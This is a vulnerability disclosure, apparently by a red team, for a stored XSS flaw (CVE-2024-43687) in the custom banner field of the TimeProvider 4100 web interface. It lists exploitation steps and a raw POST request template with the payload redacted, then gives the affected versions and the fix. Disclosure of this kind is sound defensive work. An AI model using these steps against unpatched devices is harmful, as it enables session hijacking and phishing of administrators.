Carrying on with the analysis of the "TimeProvider 4100 grandmaster device", it was possible to find out a Stored Cross-Site Scripting (XSS) vulnerability in the custom banner configuration field.
 |
| TimeProvider 4100 Grandmaster Device |
The embedded webserver does not perform input sanitization on the "txtcustom" parameter and saves such value inside the database. Users able to visit the device web administration interface will find out the malicious JavaScript payload included in the related server responses and furthermore, it will be executed on the victim's browser.
Exploitation Steps
Authenticate to the device’s management web interface.
Open the banner configuration panel.
Select the "custom banner" feature.
Insert the malicious JavaScript payload.
Apply and save the system configuration containing the custom banner.
Trigger execution by connect to the device's web management interface. Victims connection action initiates execution of the injected javascript payload.
The following image shows an example of a request containing the malicious JavaScript payload:
.jpeg)
Request RAW:
POST /bannerconfig HTTP/1.1
Host: [device IP]
Cookie: ci_session=[session cookie]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------9680247575877256312575038502
Content-Length: 673
Origin: https://[device IP]
Referer: https://[device IP]/bannerconfig
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: keep-alive
-----------------------------9680247575877256312575038502
Content-Disposition: form-data; name="user_level"
1
-----------------------------9680247575877256312575038502
Content-Disposition: form-data; name="bannerradio"
CUSTOMIZED
-----------------------------9680247575877256312575038502
Content-Disposition: form-data; name="txtcustom"
[malicious JavaScript payload]
-----------------------------9680247575877256312575038502
Content-Disposition: form-data; name="action"
applybanner
-----------------------------9680247575877256312575038502--
# EndPayload execution on the victim’s browser:
By performing a login operation into the device SSH service, it is possible to view the injected malicious Javascript payload. Following an example of such connection:
Conclusion:
A threat actor that exploits this vulnerability is able to perform phishing attacks and session hijacking compromising in this way the confidentiality, integrity and availability of the device.
Reporting Information:
CVE Identifier: CVE-2024-43687
CVSS Score: 8.0
Affected Versions: Firmware 1.0 through 2.4.7
Affected Versions: Firmware 1.0 through 2.4.7
Tested on: Firmware release 2.3.12
Vulnerability Status: Resolved in firmware release 2.4.7
NIST: https://nvd.nist.gov/vuln/detail/CVE-2024-43687
Vendor Reference: https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-stored-xss-vulnerability-in-banner
Reported by: Armando Huesca Prida, Marco Negro, Antonio Carriero, Vito Pistillo, Davide Renna, Manuel Leone, Massimiliano Brolli and TIM Security Red Team Research.
Vulnerability Status: Resolved in firmware release 2.4.7
NIST: https://nvd.nist.gov/vuln/detail/CVE-2024-43687
Vendor Reference: https://www.microchip.com/en-us/solutions/technologies/embedded-security/how-to-report-potential-product-security-vulnerabilities/timeprovider-4100-grandmaster-stored-xss-vulnerability-in-banner
Reported by: Armando Huesca Prida, Marco Negro, Antonio Carriero, Vito Pistillo, Davide Renna, Manuel Leone, Massimiliano Brolli and TIM Security Red Team Research.
Public exploit: https://www.exploit-db.com/exploits/52120